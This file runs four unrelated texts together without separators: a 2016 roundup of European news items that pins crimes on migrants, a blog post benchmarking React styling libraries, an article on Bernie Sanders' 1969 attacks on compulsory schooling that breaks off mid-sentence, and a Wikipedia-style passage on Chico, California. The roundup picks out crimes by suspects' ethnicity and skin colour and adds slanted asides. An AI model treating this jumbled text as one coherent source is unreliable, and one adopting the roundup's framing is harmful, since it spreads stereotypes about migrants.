The perpetrators were told to get out by a lifeguard but fled the scene before police could arrive. Police are currently searching for witnesses to help identify the suspects.
08/03/2016 – KLAGENFURT, Austria – Asylum seekers throw themselves in front of cars
A number of migrants have thrown themselves in front of moving cars in order to launch spurious injury claims against drivers. One such example is of a 27 year old asylum seeker on Saturday who waited by the side of the road before launching himself onto a moving car. Taken to hospital, doctors could find absolutely no injuries.
The individual is now under investigation for fraud. A similar incident earlier the same day saw a driver launch a claim for criminal damage against a jumping migrant for denting his car, reports Kronen Zeitung.
08/03/2016 – FREIBURG, Germany – Migrants snatch pram from mother
A young mother of 22 years was walking with her child in a pram when she was attacked by two “black Africans” at the end of February, according to a report by German police. One of the assailants snatched the pram, and when the mother attempted to get her child back she was pushed to the ground, being cut on the face and arm by an “unknown object” in the process.
Taking money from the woman’s purse, which had been attached to the child’s pram, the two men fled. Both are said to have talked in an unidentifiable foreign language. Police are appealing for witnesses, or a whistle-blower to come forward.
08/03/2016 – ROSTOK, Germany – Migrant Centre Arsonists Sentenced
Two perpetrators of an arson attack on a migrant camp in Lueswitz 18 months ago were sentenced each to five year prison terms. The court brought the two men ages 25 and 26, on charged of arson and attempted murder of migrants who were inside the camp. 38 migrants including 18 children were in the camp at the time but none were injured in the attack reports N-TV.
06/03/2016 – UELZEN, Germany – Pensioner wounded by gun-toting thief
A man described as being between 30-40 years of age, of dark complexion “possibly North African” held up a kiosk on Tuesday, threatening the owner with a gun and demanding cash. When the owner refused, the perpetrator fired his weapon at the ceiling several times and fled on a bicycle. A 61 year old man was wounded in the arm during the failed robbery.
06/03/2016 – UELZEN, Germany – 18 year old sexually assaulted
A young woman was sexually assaulted in the early evening of the 21st of February, being persued by two men, one of whom took her hand and placed it on his abdomen. The men, dressed in dark clothes were described by police as speaking in a foreign language. Police are appealing for witnesses.
06/03/2016 – OSLO, Norway – Muslim in Court for Recruiting Seven Jihadis for ISIS
Ubaydullah Hussain appeared in an Oslo court Thursday charged with recruiting at least seven men to joint he Islamic State in Norway. He is also charged with threatening a witness in the case among other chrages. The 30 year old was arrested in December and the court prosecutor accused him of trying to recruit from the most vulnerable in society going after drug addicts and criminals Local.no reports.
06/03/2016 – COLOGNE, Germany – Migrant jumps from balcony to avoid deportation
An 18 year old Armenian migrant who was set for deportation at Cologne-Bonn airport attempted to flee by jumping off a balcony. The migrant broke at least one leg in the 22 foot drop according to police who said he just wanted a cigarette. His sister was also deported back to Armenia the same day. The 18 year old is currently in hospital due to the severity of his injuries N-TV reports.
05/03/2016 – IDOMENI, Greece – Migrants Block Rail Tracks to Protest Border Closure
Hundreds of Migrants have blocked the railway tracks and have made all traffic come to a standstill. The large crowd blocked the path of a freight train going from Greece to Macedonia. Among the protesters were No Borders activists who encouraged migrants to chant “open the border”. An estimated 11,000 migrants wait at the border to get though according to N-TV — although some estimates not put the figure as high as 30,000.
04/03/2016 – VIENNA, Austria – Another Teen Girl Arrested for Trying to Join ISIS
An 18 year old Chechen-born girl was given a sentence of six months after she was convicted of involvement in a terrorist organization. The teen attempted to join ISIS in order to marry an Islamic state fighter in Syria. The verdict comes int he wake of another teen from Sweden who was arrested in Austria after attempting to go to Syria to also join ISIS.
04/03/2016 – KIEL, Germany – Police Find Photos of Victims on Migrant Smartphones
Police have found photo evidence that supports the claims of two young girls who were sexually harassed by a mob of migrants outside a shopping centre, reports Welt. Police had earlier claimed there was no evidence of the harassment which turned out not to be true. The 2 Afghani asylum seekers were arrested after violently resisting police but have since been released.
04/03/2016 – TRAISKIRCHEN, Austria – Donation Centre Burned to the Ground
Catholic charity Caritas had their donation centre burned down in the Austrian town of Traiskirchen which has been made a hub for migrants. Some 120 pallets full of clothing and hygiene products were destroyed in the blaze, reports Kurier. Eleven fire brigades and a total of 130 men helped put out the fire and police have so far not indicated they have any suspects and say it is too early to tell who might have set the fire.
04/03/2016 – POTSDAM, Germany – Migrant centre responsible for crime-wave
Over 500 cases of violence were recorded at a single Asylum centre last year in Brandenburg. Also included were at least 16 sexual offenses including three that involved the abuse of children. Two homicides were also recorded by police. “We need more police and a stringent deportation of criminals,” said a spokesman for the Alternative for Germany (AfD) party.
04/03/2016 – MUNICH, Germany – PEGIDA Man Fined €2,100 for speaking
“Do you want total war?” was enough to land a PEGIDA speaker a 2,100 euro fine after using the sentence in a speech at a meeting in Munich last October. The judge ruled that the sentence had once been uttered by Nazi propaganda chief Joseph Goebbels in a 1943 speech at the Berlin sports palace during the second world war, and so the man had broken German law.
03/03/2016 – LINDESBERG, Sweden – Man murdered in asylum accomodation
Police were called to a migrant house at 05:18 this morning and responded to reports that a man had been stabbed in the neck. The victim was pronounced dead at the scene. Police have arrested two men on suspicion of murder, but a third suspect was able to flee into a wooded area and remains on the run, reports Aftonbladet.
As is usual with criminal cases involving migrants in Sweden, the police have released no details regarding the identities of the suspects or victim, a policy dating back to September 2015 and intended to defend the force from accusations of being “racist”.
03/03/2016 – VIENNA, Austria – ‘Sharia police’ on patrol
Vienna’s Millennium City shopping centre has been visited by self proclaimed Islamic guardians of public morality, who have harassed women and hospitalised two men, reports Kronen Zeitung.
Patrolling on Friday night, the Chechen men of the patrol harassed a woman, her daughter, and their female friends as they walked from a nightclub near to midnight, shouting at them loudly. When the woman called her husband to come to her aid, the gang pounced, beating him to the ground. A bystander who witnessed the assault was also hospitalised.
Police are investigating.
03/03/2016 – KARLSKRONA, Sweden – Newspaper blocks anti-migrant advertising
Despite facing a sharp decline in advertising revenue, the Karlskrona based Sydöstran newspaper has rejected a lucrative full page advertisement from the Sweden Democrats, described as the local equivalent of Britain’s UKIP. editor Gunnar Svensson told industry publication Medievärlden that despite his money woes he still thinks “it is right to deny the Sweden Democrats advertising in the newspaper”.
The paper publishes in one of the Sweden Democrats’ most successful areas, and the policy has resulted in cancelled subscriptions and arguments with readers over the telephone. When asked whether there were any other organisations he would ban from advertising, the editor said he would also turn down money from “Muslim terrorists” and a dissolved Nordic Nazi party.
03/03/2016 – LINZ, Austria – Roma camp burns
A migrant tent city burned in Linz last night, the third time in a month fire crews were called to a suspected arson. Police said there was no evidence that the fire was started by the “xenophobic or extreme right”. There were no injuries, reports Kronen Zeitung.
02/03/2016 – BERLIN, Germany – Pro-Migrant Party Leader Drugs Arrest
The leader of Germany’s Green party stood down this afternoon after he was arrested for carrying crystal meth, reports Deutsche Welle. Volker Beck, a proponent of mass migration to Germany compared being critical of immigration to violent crimes including arson, and said “Germany has no refugee crisis, but a crisis of democracy,” while railing against PEGIDA and Alternative for Germany almost every day on twitter.
Beck is also infamous for trying to decriminalize sex with children in Germany in 2013 which led to a scandal. Since the drug bust he has resigned all of his government posts but will remain an MP.
02/03/2016 – BRANDENBURG, Germany – Young girl kicks attacker in testicles
A 15 year old girl was dragged into an alleyway last week by two men, who tried to remove her clothing. Suspecting she was about to be raped, the girl put her foot “firmly” into the “soft tissue” — genitals — of one attacker, and was able to flee.
Police are seeking witnesses who may have seen the men, which the girl described as being between 25 and 35, speaking broken German, and being “geographically Turkish-Arab”. Investigators are treating the incident as an attempted sexual offence.
02/03/2016 – GROSSENLUDER, Germany – Migrant camp employee assaulted
Police arrested a 44 year old migrant last week after he assaulted a 29 year old employee of his asylum accommodation. The woman was assisting in the evening distribution of medication to inmates, when he sexually assaulted her, touching her body and forcing a kiss on her. The man was released the next morning, reports Fuldaer Zeitung.
02/03/2016 – LANGFELD, Germany – 13 year old assaulted
Police are appealing for witnesses after they were unable to trace a man who propositioned a 13 year old girl for sex, offering her money, and then head-butted her after she refused. The attacker, who struck in late January has been described as having “shiny” black skin, “very short, black curly hair” and a “conspicuously long scar on the right cheekbone”.
The man, who spoke broken German with a foreign accent left the girl with minor injuries, reports Express.
02/03/2016 – WEILHEIM, Germany – Woman sexually assaulted in church
A 21 year old Nigerian man has been arrested after a sex assault in December, in which he is said to have dropped his trousers in a church and molested a woman. He is also thought to be responsible for other sex assaults in the area, reports the Ausberger Allgemeine.
02/03/2016 – HARBURG, Germany – 14 year old raped, left to die
Police are now investigating an attempted murder dating from February after a 14 year old girl in the care of Wandsbek youth services hostel was taken out of the home by a 15 year old ‘friend’ and taken to an apartment. There the two met four men, aged 14, 16, 16, and 21, who fed the young girl so much alcohol she passed out.
The men then gang raped the young girl, with her ‘friend’ filming the acts on her mobile phone. The girl was then dumped outside, unconscious, in the freezing February night where she very nearly died, police are now treating this act as attempted murder.
The four men, who are thought to have come from Serbia to Germany, may have already left the country, reports MOPO.
01/03/2016 – NORDERSTEDT, Germany – Girls aged 14, 18 raped at water park
Schleswig-Holstein police are investigating after two young girls were raped in the pool on Sunday afternoon, reports Bild. Two refugees aged 14 and 34, both from Afghanistan, are being held in police custody.
This is the second migrant attack at the pool. In 2014, a group of “Southern” men attacked five girls between 15 and 17 years old, touching the, between the legs and on their breasts. The manager of the pool said at the time “We are doing everything possible to prevent such incidents in the future”.
01/03/2016 – DORNBIRN, Austria – Teenager sexually assaulted
A 19 year old woman was sexually assaulted on Monday by a “Mediterranean” appearance man in a subway leading to the town railway station. The perpetrator pushed the woman to the ground and started to attack her, but she put up a spirited resistance and screamed for help, causing the man to flee. Krone reports the man escaped on a bicycle.
01/03/2016 – HAMBURG, Germany – Afghan man poured boiling oil over wife
A 49 year-old Afghan migrant is in court after throwing boiling oil over his wife’s face last September. The migrant accused her of cheating on him as the reason for the savage attack. After being in critical condition for days afterwards the victim lived. “I wanted to make her unattractive to another man,” he said in court.
01/03/2016 – KLINGENBACH, Germany – Migrant attack with wooden bench
A 23 year old asylum seeker from Morocco attacked two Afghan teens on Friday with a wooden bench injuring the pair. The intoxicated North African resisted police who arrived on the scene, and attempted to throw a cup at them. The 23 year old was arrested and remains in Police custody, reports the Kurier.
28/02/2016 – DUSSELDORF, Germany – Islamic state militant sentenced in Germany
A 25 year old man has been sentenced to four years in prison after confessing that he travelled to Syria to participate in acts of terrorism. ‘Nils D’ of Dinslaken confessed to prosecutors and gave up 12 other German jihadis who had also gone to Syria to fight for the Islamic state. He confessed to crimes of terrorism and torture after pictures were released showing him with mutilated victims of the terrorist group.
28/02/2016 – STOCKHOLM, Sweden – Asylum seeker abandons baby at Government Office
A baby was abandoned at the Swedish Migration Board office by a migrant woman of unknown identity. The woman gave the baby to a security guard while she said she was going to the toilet and never returned. The guard became suspicious and found a note written in French that said, “take care of me and my siblings.” The child is under one year old, but no brothers or sisters have so far been found.
28/02/2016 – STOCKHOLM, Sweden – Migrant arrested for war crimes
A 31 year old Syrian asylum seeker was arrested Tuesday by Swedish police. The man is accused of committing war crimes while fighting for Bashar Assads’ Syrian Arab Army. The prosecutor said that the crime occurred in Syria and that they had picture evidence, though regret that they can not travel to Syria to conduct a more thorough investigation.
28/02/2016 – DUSSELDORF, Germany – Man fired for being member of anti-migrant party
A private contractor was fired from his position of allocating housing for migrants after Dusseldorf city administration learned he was a member of the Alternative for Germany party. City Manager Burkhard Hintzsche said “his party membership does not fit into this workplace.” The city told media he would be replaced as soon as possible.
26/02/2016 – KIEL, Germany – 30 migrants harass trio of young girls
Three 15-17 year old girls were followed by two Afghanis who recorded them with their smartphones. Once the group reached a restaurant 30 more migrants showed up. Police say that the migrants likely sent the pictures and videos to the others, who came to join in.
The girls were able to shake off 20 of the men but 10 followed them and harassed them. Police have not confirmed if there was sexual contact at this point in the investigation. Migrants attacked police when they arrested the two original Afghanis.
26/02/2016 – The Netherlands – Mosques receive menacing letters
Dozens of mosques in Holland have reportedly received letters claiming that Muslims are devil worshippers. The leaflet expressed that the Mosques in question could expect to receive important visitors, pigs, reports DutchNews.
Dutch Labour member of parliament Ahmed Marcouch has called on the government to give Mosques protection and has asked ministers to make statements on the letters.
26/02/2016 – VIENNA, Austria – Migrants stabbing attack at shopping centre
Five Afghan youths aged between 15 and 25 years old were responsible for a “bloody and exceedingly brutal” stabbing attack at ‘The Mall’ shopping centre in Vienna on Wednesday. Four men, two of whom were Iranian migrants, were attacked and injured, and eyewitnesses claimed a gun was discharged during the altercation, reports Kronen Zeitung.
The men were later arrested by police and a pistol found on one of the perpetrators was reported by police to be a “toy” — possibly a blank firing pistol.
26/02/2016 – FULDA, Germany – Migrant charged with 200 crimes set free
A migrant caught by police masturbating on an intercity train has been released despite boasting an impressive rap sheet. The 22 year old Eritrean migrant has been charged with 189 complaints of fraud, 40 thefts and charges for trespass and criminal damage yet walked free after caught pleasuring himself on a train in Fulda.
26/02/2016 – BUDAPEST, Hungary – Hungary could vote on EU in 150 days
REUTERS — Hungary could hold a referendum on European Union-mandated migrant resettlement quotas in 150 days at the earliest as the government’s referendum question makes its way through the legal system, the justice minister said on Friday.
“The earliest possible time is 150 days, while the latest is 250 days,” Laszlo Trocsanyi told a news conference.
Hungary has been at odds with the European Commission and some fellow EU countries over how to handle a migrant influx into the bloc. Prime Minister Viktor Orban proposed a referendum on Wednesday to see whether Hungarians accepted the quotas, something his government opposes.
Read more on Hungary’s referendum here.
25/02/2016 – LJUBLJANA, Slovenia – Army given police powers
The Slovenian parliament voted on Monday to confer on the army “exceptional police powers”. The move, which is most often associated with the declaration of martial law will allow troops to patrol the border and to place illegal migrants when caught under arrest.
The bestowment of powers is initially for three months, and will allow soldiers to restrict movement and to manage groups and masses, reports Slovenske Novice.
25/02/2016 – COLOGNE, Germany – Migrant murders migrant
An Albanian man was found murdered by passers by in a wooded area yesterday. The 26 year old migrant had reportedly been involved in a dispute with his room-mates at a nearby asylum centre earlier on in the day. Police are hunting for the fugitive suspect.
Investigators claim “there are no indications of a xenophobic or politically motivated background” to the killing, reports the German Express.
24/02/2016 – Sweden – Two police stations evacuated after explosives found
A police station in Södertälje was evacuated this morning after two hand grenades were left in the reception area. The station was kept closed until 1230, when Swedish bomb disposal experts declared the grenades to be inert. Grenades have been flooding into Sweden in large numbers over the past few years, following the same smuggling route as many migrants from the former Soviet states in the Balkans.
They have become popular weapons for settling disputes in migrant areas, as reported by Breitbart.
A second station was evacuated this afternoon after sticks of dynamite were left in reception. The police house remains closed while it awaits the arrival of bomb disposal officers, reports Expressen.
24/02/2016 – MAINZ, Germany – Migrant set free after attacking officers
A 31 year old Eritrean asylum seeker has been allowed to walk free after he attacked three officers with a knife. The man had been brought into a station after he was found to have no identification documents, but pulled the knife and went after the men. He was disarmed without managing to injure the officers, and was later dropped off back at his reception centre pending charges of assault, reports Die Kronen Zeitung.
24/02/2016 – NORDANSTIG, Sweden – Migrants smash up accommodation, attack staff
Staff of a Swedish migrant centre were forced to flee the facility on Monday after two immigrant brothers went on a rampage. After one of the men requested medical treatment for feeling ‘unwell’ — police reports he may have been drunk — but was not given the medicine he was hoping for he began to beat members of staff and throw furniture around.
When staff returned to the building they were chased by the migrants who attempted to stab them. One of the men had injured himself in the course of his rampage. Both were arrested.
24/02/2016 – FRIEDRICHSHAFEN, Germany – Student party celebrating migration ends in brawl
A student’s union ‘Integration Festival’ at the elite Zeppelin Universität ended in violence after a 22 year old refugee guest at the party became drunk and stabbed two other migrants with a broken bottle. The violence has been described as Kurdish-Syrian conflict, reports Schwaebische. The event, where no alcohol was served but Arabic music was played was broken up when five police cars arrived at the college.
23/02/2016 – GAILDORF, Germany – Conman tricked shop out of cash
A customer used a con-trick to distract staff from their cash register momentarily so he could steal money. The man, who has been described as “dark skinned, North African appearance” paid for a spurious purchase with a €50 note but immediately changed his mind, asking for the return of the note with the same serial number. During the confusion he made good his escape. Police are appealing for witnesses.
23/02/2016 – GIESSEN, Germany – Weapons found after North African men attack
Two men aged 35 and 50 are reported to have been victims of a violent attack by “a large group” of North African migrants. Police were called and arrived on the scene, but the victims refused to cooperate. Police later found a cache of wooden club weapons in a nearby church yard.
23/02/2016 – CLAUSNITZ, Germany – Bus migrants press charges against police
A number of migrants who found themselves the stars of a viral video featuring a number of German nationals blocking the progress of their bus and chanting ‘we are the people’ are now suing Saxony police. Officers dragged a number of migrants off the bus because they were acting to provoke the German citizens outside and contributing to the “heated” situation, reports Focus.
In the video, at least one woman can be seen angrily gesticulating at the crowd and a young man is seen being carried off the bus. Read more at Breitbart London.
23/02/2016 – INNSBRUCK, Austria – Woman raped
A woman was raped on Monday evening after a man leapt from a hidden spot in a doorway and grabbed her, reports Die Kronen Zeitung. Described as having dark hair and a beard, the man spoke English during the attack. Police are appealing for witnesses.
23/02/2016 – BURNLEY, United Kingdom – Woman gang raped
A 23 year old woman was gang raped in the very early hours of Monday morning in a remote area near an industrial park by three or four men, not far from the location of another gang rape less than three weeks ago. The attackers were then described by police as being “dark skinned” and “speaking with foreign accents”, reports the Lancashire Telegraph.
Police are appealing for witnesses.
23/02/2016 – ATHENS, Greece – Illegal migrant crossings to Europe on the rise
After a spell of extremely poor weather which saw the number of illegal migrants crossing into Europe fall over January compared to December, numbers are again picking up. Many illegal migrants will have postponed their sea crossings from Turkey to Greece during the storms. The Greek government has registered an average of 2,769 detected arrivals a day over the past week, reports Kronen Zeitung.
23/02/2016 – Hungary – Border closed to Croatia
The Hungarian government closed the border to trains coming from Croatia on Sunday, citing the “interests of public safety”, and announcing it would initially stay closed for 30 days. Railway journeys between Murakeresztúr-Kotoriba, Gyékényes-Koprivnica and Magyarbóly-Beli Manastir are cancelled, reports RP Online.
ARCHIVE – You can read all the previous updates here.Published by Michal Szorád
• 6 min read
Introduction
Styling React components has always been a very discussed theme. Since the first release of React, hundreds of packages taking care of our styles have been published.
You may ask which one has the fastest scripting time, render time or which one is the smallest and that is exactly what I will try to answer in this article.
I will take a look at the performance and production build sizes of some of the most known libraries helping us with styles in React: styled-components, radium, glamorous and sass, css in js and inline styles. At the first look, the main difference between those is the way you can write styled components, but that would be a different story. This story is mostly about numbers.
Package size
One of the first tests I created is focused on the package size. The smaller the package is, the less data is transferred to the client and thus the app may load faster.
In order to obtain particular package size for every library, I’ve used the default webpack configuration from the create-react-app boilerplate project. Production build size of the default (empty) project was 157.40kb. Next, I’ve introduced styling package, by importing it into the project, created the production build and subtracted the final size from the size of the empty build obtained earlier. This process was repeated for every library.
However, package size is usually not the most important thing as we can cache the source files with service-worker to reduce the amount of transferred data and even make our page accessible while offline! A more important thing may be the real performance. Let’s take a look at the render performance of our libraries and the impact on UX.
Render performance
This test is focused on measuring the time from when the page download starts to when our visitors can interact with the website. When the page source is loaded, web browsers run the included scripts in order to make the content visible. The faster the content appears, the sooner can our visitor interact with our website.
Before I start testing I need to create some testing environment. The tests will run on a simple HTML file which may look like this one.
I have created 4 different components for each library. They will be rendered in a big table containing 10 000 rows, where each row includes those components. The rendered elements are: div, span, text input, and button. To get the best results those components need to have a lot of styles. The styled elements are not very eye friendly, but they are perfect for our tests.
Similar styles have been used in every test case.
When we create the final build using webpack, we can start testing our application.
To test the application we will just let the browser render the large table and measure different aspects of rendering. To reduce the deviation, we will run every test at least 100 times for every package.
Render time and time to First meaningful paint
The following chart shows the time required to render the table – Render time and the time to First meaningful paint.
When you are testing the performance of your React application, make sure to test the First meaningful paint using lighthouse as it will give you different numbers as you would get when measuring the time using just React events (componentDidMount and componentWillMount). Why? Because First meaningful paint will give you numbers when something appeared on the page (from blank screen to some content). Basically when styles have been used on the layout. React events can only measure the time when layouts/styles are being calculated.
In this chart you can see that CSS and SASS preprocessor, Glamorous and Styled-components have very good results, but why have the inline styles much bigger time to the First meaningful paint than glamorous, even though both of them use styles from the object?
Glamorous actually uses styles defined by the object only once and then creates css classes, which are then used to style elements, because they are much faster than styles from objects.
You may ask why is the time to First meaningful paint and render time of css and sass almost the same (even though the sass files are sometimes larger because of variables, if statements, loops, …). Every css preprocessor works almost the same way. The variables and if statements and other cool features are replaced at the build time and at the end they usually look exactly the same.
Inline styles have problems
With inline styles, you can feel like you can save a lot of space because they basically require no library. The problems with inline styles will appear later in your project and you will not like writing HOC (High-Order Components) to support the sweet parts of CSS like focus, hover, animations, media queries, etc…
But there are solutions
A very popular package is, for example, Radium, which basically adds the missing features of inline styles: pseudo-classes, media queries and so on. It’s a pretty mature library and they recently added the server-side rendering support. You can check the example here or if you are experiencing performance issues, you can discuss at their github page.
If you would like to read more about the performance, pros and cons of inline styles, you can check this article or if you are more interested in speeding up your code, don’t miss this article about prepack in production.
Test it by yourself
If you want to run the tests on your machine, you can download the full code on https://github.com/MichalSzorad/styling-react. You can follow the guide in README.md in order to get the tests done.
Conclusion
There you go, I have tested the most popular React styling libraries. Even though the render time and bundle size may vary on different packages, each package has its own pros and cons.
If your priority is the speed, glamorous or styled-components is exactly what you could use in your web apps. Writing styles in strings for styled-components may be something unusual, but the visitors will appreciate the fast loaded web page. If you decide to use styled-components, do not forget to install plugin to support syntax highlighting in strings or maybe help creating a new one.
Sass/css and inline styles are also pretty fast, but if you decide to reuse your code for your React Native app be prepared to rewrite your stylesheets. (Or you can try the css-to-react-native package, which may work for most of the styles.) But on the other hand, css and other style preprocessors are a good choice for web applications.Throughout 1969, when he was in his late 20s and living in Vermont, Bernie Sanders wrote a series of diatribes on the American education system. “It is quite clear the basic function of schools,” he opined in a letter to the Vermont Freeman, “is to set up in children patterns of docility and conformity — patterns designed not to create independent and free adults, but adults who will obey orders, be ‘faithful’ uncomplaining employees and ‘good’ citizens.” In another piece, he offered this question to parents: “With regard to the schools that you send your children to, are you concerned that many of these institutions serve no other function than to squash the life, joy, and curiosity out of kids.”
Sanders was an unwavering critic of the fact that schooling was compulsory in the United States, concerned that the coercive powers of the state were decimating citizens’ self-determination in education, particularly those of children. He observed in a piece for the Vermont Freeman, “The revolution comes... when a father refuses to send his child to school because schools destroy children.” Sanders, himself, had just fathered a son in March 1969. And he hadn’t been the most academically astute student in school. At the University of Chicago, he was on the brink of failing his classes and the dean told him to take a year off. He told the New Yorker that “he found the classroom boring and irrelevant — and that he learned ‘infinitely more on the streets and in the community.’”
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He worked for a union and a political campaign, participated in and organized protests against segregated campus housing and public schools, and retreated to the library, where “I read everything I could get my hands on — except what I was required to read for class,” Sanders noted in his book "An Outsider in the House." He says he read the works of intellectuals such as Karl Marx, progressive educator John Dewey, socialist leader Eugene V. Debs, psychoanalyst Wilhelm Reich, psychologist Erich Fromm and many others.
In a letter to the editor of the Freeman, Sanders wrote, “One of the most heartening signs in recent years is the growing belief among many people that the formal educational process (i.e. schools) are not only ‘not good’; — but that they are positively destructive and harmful. People are becoming aware that the function of schools is not to educate children but, in fact, to do the very opposite — to PREVENT education.” What he was referring to was a subversive, radical educational philosophy that had made inroads in communities across the country known as the free school movement. This was at a time when the nation was rocked by the countercultural phenomenon, marked by the anti-war, anti-nuclear, civil rights, feminist and free speech student movements as well.
Free school stalwarts identified the conventional school system as one of their enemies, because it crushed its captives’ curiosity, creativity and love of learning and ranked and sorted them for the capitalistic war machine. So they aimed to create small alternative schools outside of the government’s clutches and without grades, tests, or anti-democratic structures. They reckoned that the education system couldn’t be salvaged by making tweaks in instruction or curriculum. “So long as schooling was set up to serve the interests of a competitive, consumerist, mass-mentality society, it could never fully educate young people for lives of meaning and personal integrity, no matter how well-intentioned were its reformers,” as Ron Miller explained in his book "Free Schools, Free People."
One of the catalysts for the movement was a book by Alexander Sutherland Neill, a British educator who founded a progressive school in England called Summerhill. The school, which is still alive today, featured non-compulsory classes; freedom in learning; endless opportunities for children to play, explore and work on projects and individual endeavors; and democratic meetings where students and staff members alike |
15.2% from 45 to 64, and 9.9% who were 65 years of age or older. The median age was 26 years. For every 100 females, there were 96.4 males. For every 100 females age 18 and over there were 93.9 males.
The median income for a household in the city was $29,359, and the median income for a family was $43,077. Males had a median income of $35,548 versus $26,173 for females. The per capita income for the city was $16,970. About 12.7% of families and 26.6% of the population were below the poverty line, including 19.2% of those under age 18 and 8.2% of those age 65 or over.
Economy [ edit ]
Much of the local economy is driven by the presence of Chico State. Industries providing employment: educational, health and social services (30.3%), retail trade (14.9%), arts, entertainment, recreation, accommodation and food services (12.6%).[27]
Chico has always been a regional retail shopping destination. Chico's largest retail district is focused around the Chico Mall on East 20th Street. In the two decades since the Chico Mall was constructed, many national retailers have located nearby, including Target, Kohl's, Forever 21, Best Buy, and Walmart. In January 2008, plans were unveiled to remodel the Chico Mall by demolishing the westernmost portion of the mall (previously home to Troutman's) and constructing an open air "lifestyle" shopping center that will connect the mall with the Kohl's shopping center nearby. This has since been amended as Dick's Sporting Goods has renovated both the interior and exterior the space formerly occupied by Troutmans, and officially opened on July 10, 2013.
Chico is also home to the North Valley Plaza Mall, which was the city's first enclosed shopping center. Construction on this mall began in 1965 and it was the County's largest shopping center until the Chico Mall was completed in 1988. For a few years the "old" mall and the "new" mall competed against one another. The North Valley Plaza Mall was dealt a blow when JCPenney, one of the old mall's anchors, moved to the Chico Mall in 1993. The "old" mall slowly declined with increasing vacancies. After several failed attempts at revitalization, the North Valley Plaza Mall was overhauled in 2002, with the center of the mall demolished. Several large retailers, such as Trader Joe's, and Tinseltown Theater, are operating at the mall plus a number of restaurants. Mervyn's anchored the mall at the west end, filling the spot vacated by JCPenney, but declared bankruptcy in 2008 and liquidated its entire stock by the end of December of that year. The entire Mervyn's chain ceased operations just before the end of the year. A portion of the space is now being utilized by Goodwill. Other spaces in the North Valley Plaza include a dollar store, 99 cent only store, a U.S. Navy recruiting center and a number of smaller boutiques.
Chico's downtown is a thriving area for unique, independent retail shops and restaurants. Farmers markets attract crowds on Saturday mornings and Thursday evenings. City Plaza hosts free concerts regularly during the summer. Performance venues large and small, bars, coffee shops, bookstores and city offices contribute to a lively and flavorful experience.
Top employers [ edit ]
Build.com (as of April 2013) was named as No. 81 on Internet Retailer Magazine's Top 500 List of online retailers.[28]
Government [ edit ]
Municipal [ edit ]
The City of Chico is a charter city and has a council–manager government. The City of Chico's administration offices are located at 411 Main Street immediately adjacent to the City Council Chambers. Chico's city council consists of seven nonpartisan councilmembers each elected at-large in November of even-numbered years. Their terms begin on the first Tuesday in December and end on the first Tuesday in December four years thereafter. The mayor is chosen by and from among the council members and serves for two years. City council meetings are on the first and third Tuesday of each month.
The City Council appoints members of the Airport Commission, Architecture Review Board, Arts Commission, Bidwell Park and Playground Commission, and Planning Commission.
The council consists of Mayor Randall Stone, Vice Mayor Alex Brown, Ann Schwab, Sean Morgan, Karl Ory, Scott Huber and Kasey Reynolds.[6]
County [ edit ]
The citizens of Chico are represented in the Butte County Board of Supervisors by the District Two Supervisor Debra Lucero and the District Three Supervisor Tami Ritter. The County of Butte office is located in Oroville at 25 County Center Drive.
The Butte County Association of Governments office is located in Chico at 326 Huss Lane. Chico Mayor Randall Stone represents the City of Chico on the Board of Directors of the Butte County Association of Governments.
State [ edit ]
The citizens of Chico, as constituents of California's 3rd Assembly District, are represented by Republican James Gallagher in the California State Assembly,[5] and as members of California's 4th Senate District, are represented by Republican Jim Nielsen in the California State Senate.[4]
Federal [ edit ]
The citizens of Chico, as constituents of California's 1st congressional district, are represented by Doug LaMalfa (R–Richvale) in the United States House of Representatives.[29]
Education [ edit ]
The Chico Unified School District includes all of the greater Chico area including areas not within the city limits.
Primary education [ edit ]
Elementary [ edit ]
Blue Oak Charter School
Chapman Elementary School
Chico Country Day School (Charter)
Citrus Elementary School
Cohasset Elementary School
Emma Wilson Elementary School,
Forest Ranch Charter School
Hooker Oak Elementary School
John A. McManus Elementary School
Little Chico Creek Elementary School
Shasta Elementary School Marigold Elementary School
Neal Dow Elementary School,
Nord Country School
Notre Dame Catholic School
Chico Christian School & Preschool
Kings Christian Elementary
Parkview Elementary School
Rosedale Elementary School
Shasta Elementary School
Sherwood Montessori Charter School [30]
Sierra View Elementary School
Wildflower Open Classroom
Junior high (6th and 8th) [ edit ]
Chico Country Day School (Charter)
Bidwell Junior High School
Chico Junior High School
Henry M. "Hank" Marsh Junior High School
Notre Dame Catholic School
Sherwood Montessori Charter School
Wildflower Open Classroom
Blue Oak Charter School
Secondary education [ edit ]
Public [ edit ]
In 1998, city voters approved a bond to build a third comprehensive high school that was to be called Canyon View High School. However, after a protracted search for an acceptable site, the school district opted not to build the new high school, a decision based largely on declining enrollment figures. The money from the bond is now planned to be used for improvements at Chico and Pleasant Valley high school
Alternative education [ edit ]
Head Start (Ages 0-5)
Academy For Change—community day school
Fairview High School—continuation school
Forest Ranch Charter School—a free, public K–6 charter school
Core Butte Charter School—charter school
Hearthstone School—charter school
Blue Oak Charter School—a Waldorf methods public school (includes grades K through 8)
Sherwood Montessori Charter School–a Montessori public school (grades K through 8)
Pivot - online Charter school
Inspire North homeschool charter - TK -12 public charter school
Private [ edit ]
Chico Oaks Adventist School
Notre Dame Catholic School
Champion Christian School
Pleasant Valley Baptist School
Chico Christian Preschool[31]
Higher education [ edit ]
Culture [ edit ]
Museums [ edit ]
The Chico Museum first opened in February 1986 in the former Carnegie Library building in downtown Chico. It currently features the only circus exhibit of its kind in the Western United States. The museum has two main galleries, which host a variety of temporary and traveling exhibits. In addition, the museum has two smaller, permanent galleries displaying the diverse history of Chico. The Chico Museum is run by the Far West Heritage Association, which also runs the Patrick Ranch Museum. The museum is free and donations are graciously accepted.
Chico Air Museum
The Chico Air Museum is an aviation museum, which opened in 2004. Several aircraft and exhibits are displayed in and adjacent to an old hangar, one of the few remaining from World War II.
The National Yo-Yo Museum is the country's largest collection of yo-yo artifacts, which also includes a 4-foot (1.2 m) tall yo-yo that is dropped with a crane every few years, the world's largest functional yo-yo. Classes are available as well for those new to yo-yo and those who just want to get better. An art museum, the Chico Art Center, is also located in the city.
Two other historical buildings are also museums. Bidwell Mansion is a Victorian house completed in 1868, and the former home of John and Annie Bidwell. Bidwell Mansion is a California State Historical Park. Stansbury House, former home of physician Oscar Stansbury, is a museum of 19th-century life, completed in 1883.[32]
